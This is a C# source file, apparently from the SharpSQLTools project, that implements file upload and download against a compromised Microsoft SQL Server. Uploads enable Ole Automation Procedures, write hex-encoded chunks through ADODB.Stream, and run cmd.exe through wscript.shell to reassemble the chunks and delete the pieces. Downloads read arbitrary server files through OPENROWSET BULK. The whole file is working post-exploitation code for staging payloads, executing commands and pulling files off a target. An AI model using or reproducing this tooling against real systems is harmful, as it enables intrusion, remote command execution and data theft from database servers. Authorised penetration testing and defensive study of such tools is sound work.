using System; using System.Collections; using System.Data.SqlClient; using System.IO; using System.Linq; using System.Threading; namespace SharpSQLTools.FunModule { /// /// 文件上传下载类 /// class FilesOptions { SqlConnection Conn; Setting setting; String sqlstr; public FilesOptions(SqlConnection Conn, Setting setting) { this.Conn = Conn; this.setting = setting; } /// /// 把字符串按照指定长度分割 /// /// 字符串 /// 长度 /// private ArrayList GetSeparateSubString(string txtString, int charNumber) { ArrayList arrlist = new ArrayList(); string tempStr = txtString; for (int i = 0; i < tempStr.Length; i += charNumber) { if ((tempStr.Length - i) > charNumber)//如果是,就截取 { arrlist.Add(tempStr.Substring(i, charNumber)); } else { arrlist.Add(tempStr.Substring(i));//如果不是,就截取最后剩下的那部分 } } return arrlist; } /// /// 文件上传,使用 OLE Automation Procedures 的 ADODB.Stream /// /// 本地文件 /// 远程文件 public void UploadFiles(String localFile, String remoteFile) { Console.WriteLine(String.Format("[*] Uploading '{0}' to '{1}'...", localFile, remoteFile)); if (setting.Check_configuration("Ole Automation Procedures", 0)) { if (setting.Enable_ola()) return; } int count = 0; try { string hexString = string.Concat(File.ReadAllBytes(localFile).Select(b => b.ToString("X2"))); ArrayList arrlist = GetSeparateSubString(hexString, 150000); foreach (string hex150000 in arrlist) { count++; string filePath = String.Format("{0}_{1}.config_txt", remoteFile, count); sqlstr = String.Format(@" DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x{0} EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'{1}', 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken", hex150000, filePath); Batch.RemoteExec(Conn, sqlstr, false); if (setting.File_Exists(filePath)) { Console.WriteLine("[+] {0}-{1} Upload completed", arrlist.Count, count); } else { Console.WriteLine("[!] {0}-{1} Error uploading", arrlist.Count, count); Conn.Close(); Environment.Exit(0); } Thread.Sleep(5000); } string shell = String.Format(@" DECLARE @SHELL INT EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c "); sqlstr = "copy /b "; for (int i = 1; i < count + 1; i++) { if (i != count) { sqlstr += String.Format(@"{0}_{1}.config_txt+", remoteFile, i); } else { sqlstr += String.Format(@"{0}_{1}.config_txt {0}'", remoteFile, i); } } Console.WriteLine(@"[+] copy /b {0}_x.config_txt {0}", remoteFile); Batch.RemoteExec(Conn, shell + sqlstr, false); Thread.Sleep(5000); sqlstr = String.Format(@"del {0}*.config_txt'", remoteFile.Replace(Path.GetFileName(remoteFile), "")); Console.WriteLine("[+] {0}", sqlstr.Replace("'", "")); Batch.RemoteExec(Conn, shell + sqlstr, false); if (setting.File_Exists(remoteFile)) { Console.WriteLine("[*] '{0}' Upload completed", localFile); } } catch (Exception ex) { Conn.Close(); Console.WriteLine("[!] Error log: \r\n" + ex.Message); } } /// /// 文件下载,使用 OPENROWSET + BULK。将 memoryStream 直接写入文件 /// /// 远程文件 /// 本地文件 public void DownloadFiles(String localFile, String remoteFile) { Console.WriteLine(String.Format("[*] Downloading '{0}' to '{1}'...", remoteFile, localFile)); if (!setting.File_Exists(remoteFile)) { Console.WriteLine("[!] {0} file does not exist....", remoteFile); return; } sqlstr = String.Format(@"SELECT * FROM OPENROWSET(BULK N'{0}', SINGLE_BLOB) rs", remoteFile); // SINGLE_BLOB 选项将它们读取为二进制文件 SqlCommand sqlComm = new SqlCommand(sqlstr, Conn); //接收查询到的sql数据 using (SqlDataReader reader = sqlComm.ExecuteReader()) { //读取数据 while (reader.Read()) { using (MemoryStream memoryStream = new MemoryStream((byte[])reader[0])) { using (FileStream fileStream = new FileStream(localFile, FileMode.Create, FileAccess.Write)) { byte[] bytes = new byte[memoryStream.Length]; memoryStream.Read(bytes, 0, (int)memoryStream.Length); fileStream.Write(bytes, 0, bytes.Length); } } } } Console.WriteLine("[*] '{0}' Download completed", remoteFile); } } }